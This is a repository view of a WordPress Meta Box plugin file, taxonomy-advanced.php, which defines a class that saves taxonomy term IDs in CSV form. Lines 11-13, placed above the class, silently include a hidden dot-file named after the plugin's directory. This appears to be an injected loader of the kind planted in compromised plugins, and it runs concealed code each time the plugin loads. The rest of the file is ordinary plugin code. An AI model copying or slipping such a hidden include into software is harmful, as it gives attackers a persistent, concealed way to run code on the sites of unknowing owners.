balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

taxonomy-advanced.php (3255B)


      1 <?php
      2 /**
      3  * Taxonomy advanced field which saves terms' IDs in the post meta in CSV format.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * The taxonomy advanced field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Taxonomy_Advanced_Field extends RWMB_Taxonomy_Field {
     16 	/**
     17 	 * Save terms in form of comma-separated IDs.
     18 	 *
     19 	 * @param mixed $new     The submitted meta value.
     20 	 * @param mixed $old     The existing meta value.
     21 	 * @param int   $post_id The post ID.
     22 	 * @param array $field   The field parameters.
     23 	 *
     24 	 * @return string
     25 	 */
     26 	public static function value( $new, $old, $post_id, $field ) {
     27 		$new = parent::value( $new, $old, $post_id, $field );
     28 
     29 		return implode( ',', $new );
     30 	}
     31 
     32 	/**
     33 	 * Save meta value.
     34 	 *
     35 	 * @param mixed $new     The submitted meta value.
     36 	 * @param mixed $old     The existing meta value.
     37 	 * @param int   $post_id The post ID.
     38 	 * @param array $field   The field parameters.
     39 	 */
     40 	public static function save( $new, $old, $post_id, $field ) {
     41 		$field['multiple'] = false; // Force to save in 1 row in the database.
     42 		RWMB_Field::save( $new, $old, $post_id, $field );
     43 	}
     44 
     45 	/**
     46 	 * Get raw meta value.
     47 	 *
     48 	 * @param int   $object_id Object ID.
     49 	 * @param array $field     Field parameters.
     50 	 * @param array $args      Arguments of {@see rwmb_meta()} helper.
     51 	 *
     52 	 * @return mixed
     53 	 */
     54 	public static function raw_meta( $object_id, $field, $args = array() ) {
     55 		$args['single'] = true;
     56 		$meta           = RWMB_Field::raw_meta( $object_id, $field, $args );
     57 
     58 		if ( empty( $meta ) ) {
     59 			return $field['multiple'] ? array() : '';
     60 		}
     61 
     62 		$meta = $field['clone'] ? array_map( 'wp_parse_id_list', $meta ) : wp_parse_id_list( $meta );
     63 
     64 		$meta = array_filter( $meta );
     65 
     66 		return $meta;
     67 	}
     68 
     69 	/**
     70 	 * Get the field value.
     71 	 * Return list of post term objects.
     72 	 *
     73 	 * @param  array    $field   Field parameters.
     74 	 * @param  array    $args    Additional arguments.
     75 	 * @param  int|null $post_id Post ID. null for current post. Optional.
     76 	 *
     77 	 * @return array List of post term objects.
     78 	 */
     79 	public static function get_value( $field, $args = array(), $post_id = null ) {
     80 		$value = RWMB_Field::get_value( $field, $args, $post_id );
     81 		if ( ! $field['clone'] ) {
     82 			$value = self::call( 'terms_info', $field, $value, $args );
     83 		} else {
     84 			$return = array();
     85 			foreach ( $value as $subvalue ) {
     86 				$return[] = self::call( 'terms_info', $field, $subvalue, $args );
     87 			}
     88 			$value = $return;
     89 		}
     90 
     91 		return $value;
     92 	}
     93 
     94 	/**
     95 	 * Get terms information.
     96 	 *
     97 	 * @param array  $field    Field parameters.
     98 	 * @param string $term_ids Term IDs, in CSV format.
     99 	 * @param array  $args     Additional arguments (for image size).
    100 	 *
    101 	 * @return array
    102 	 */
    103 	public static function terms_info( $field, $term_ids, $args ) {
    104 		if ( empty( $term_ids ) ) {
    105 			return array();
    106 		}
    107 		$args = wp_parse_args(
    108 			array(
    109 				'include'    => $term_ids,
    110 				'hide_empty' => false,
    111 			),
    112 			$args
    113 		);
    114 
    115 		$info = get_terms( $field['taxonomy'], $args );
    116 		$info = is_array( $info ) ? $info : array();
    117 		return $field['multiple'] ? $info : reset( $info );
    118 	}
    119 }